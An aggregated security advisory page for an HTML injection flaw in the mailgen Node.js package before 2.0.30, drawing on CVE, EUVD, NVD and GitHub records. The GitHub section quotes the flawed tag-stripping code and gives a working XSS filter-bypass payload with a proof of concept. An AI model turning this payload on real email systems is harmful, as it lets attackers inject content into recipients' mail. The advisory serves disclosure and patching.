Mailgen: HTML injection vulnerability in plaintext e-mails

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Prior to version 2.0.30, there is an HTML injection vulnerability in plaintext e-mails generated by Mailgen. Projects are affected if the Mailgen.generatePlaintext(email) method is used and given user-generated content. This vulnerability has been patched in version 2.0.30. A workaround involves stripping all HTML tags before passing any content into Mailgen.generatePlaintext(email).

Source published

22 Sep 2025 19:27:53 UTC

Source modified

22 Sep 2025 19:45:47 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 2.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L/E:U

mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Prior to version 2.0.30, there is an HTML injection vulnerability in plaintext e-mails generated by Mailgen. Projects are affected if the Mailgen.generatePlaintext(email) method is used and given user-generated content. This vulnerability has been patched in version 2.0.30. A workaround involves stripping all HTML tags before passing any content into Mailgen.generatePlaintext(email).

Source published

Sep 22, 2025, 7:27:53 PM (timezone not stated)

Source modified

Sep 22, 2025, 7:45:47 PM (timezone not stated)

Observed here

9 Nov 2026 03:15:23 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 2.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L/E:U

mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Prior to version 2.0.30, there is an HTML injection vulnerability in plaintext e-mails generated by Mailgen. Projects are affected if the Mailgen.generatePlaintext(email) method is used and given user-generated content. This vulnerability has been patched in version 2.0.30. A workaround involves stripping all HTML tags before passing any content into Mailgen.generatePlaintext(email).

Source published

22 Sep 2025 20:15:39 UTC

Source modified

11 Oct 2026 20:10:00 UTC

Observed here

25 Oct 2026 03:17:27 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 2.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

# HTML Injection and XSS Filter Bypass in Plaintext Emails ### Summary An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the `Mailgen.generatePlaintext(email);` method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt). ### Vulnerability Analysis The following function (inside `index.js`) is intended to strip all HTML content to produce a plaintext string. ```javascript // Plaintext text e-mail generator Mailgen.prototype.generatePlaintext = function (params) { // Plaintext theme not cached? if (!this.cachedPlaintextTheme) { throw new Error('An error was encountered while loading the plaintext theme.'); } // Parse email params and get back an object with data to inject var ejsParams = this.parseParams(params); // Render the plaintext theme with ejs, injecting the data accordingly var output = ejs.render(this.cachedPlaintextTheme, ejsParams); // Definition of the <br /> tag as a regex pattern var breakTag = /(?:\<br\s*\/?\>)/g; var breakTagPattern = new RegExp(breakTag); // Check the plaintext for html break tag, maintains backwards compatiblity if (breakTagPattern.test(this.cachedPlaintextTheme)) { // Strip all linebreaks from the rendered plaintext output = output.replace(/(?:\r\n|\r|\n)/g, ''); // Replace html break tags with linebreaks output = output.replace(breakTag, '\n'); // Remove plaintext theme indentation (tabs or spaces in the beginning of each line) output = output.replace(/^(?: |\t)*/gm, ""); } // Strip all HTML tags from plaintext output output = output.replace(/<.+?>/g, ''); // Decode HTML entities such as &copy; output = he.decode(output); // All done! return output; }; ``` The process fails because it first converts HTML break tags to newlines and then attempts to strip HTML tags with a regular expression. Using a break tag inside another HTML tag can deceive the filter, allowing HTML content to be injected into the email. A valid payload is: `<img<br> src=xyz onerror=alert(1)>`. ### Proof of Concept ```javascript var Mailgen = require('mailgen'); var mailGenerator = new Mailgen({ theme: 'default', product: { name: 'Mailgen', link: 'https://mailgen.js/' } }); var email = { body: { name: 'John <img<br> src=xyz onerror=alert(document.body.innerHTML)> Appleseed', intro: 'Welcome to Mailgen! We\'re very excited to have you on board.', action: { instructions: 'To get started with Mailgen, please click here:', button: { color: '#22BC66', text: 'Confirm your account', link: 'secret-link' } }, outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.' } }; // Generate the plaintext version of the e-mail var emailText = mailGenerator.generatePlaintext(email); // Optionally, preview the generated plaintext e-mail require('fs').writeFileSync('emailText.txt', emailText, 'utf8'); ``` **Resulting output file (`emailText.txt`):** ```html Hi John <img src=xyz onerror=alert(document.body.innerHTML)> Appleseed, Welcome to Mailgen! We're very excited to have you on board. To get started with Mailgen, please click here: secret-link Need help, or have questions? Just reply to this email, we'd love to help. Yours truly, Mailgen © 2025 Mailgen. All rights reserved. ``` ### Mitigation The vulnerability has been patched in commit [741a019](https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d) and released to npm in version `2.0.30`. Thanks to Edoardo Ottavianelli (@edoardottt) for discovering and reporting this vulnerability.

Source published

22 Sep 2025 18:03:47 UTC

Source modified

23 Sep 2025 20:50:37 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Publisher rating · MODERATE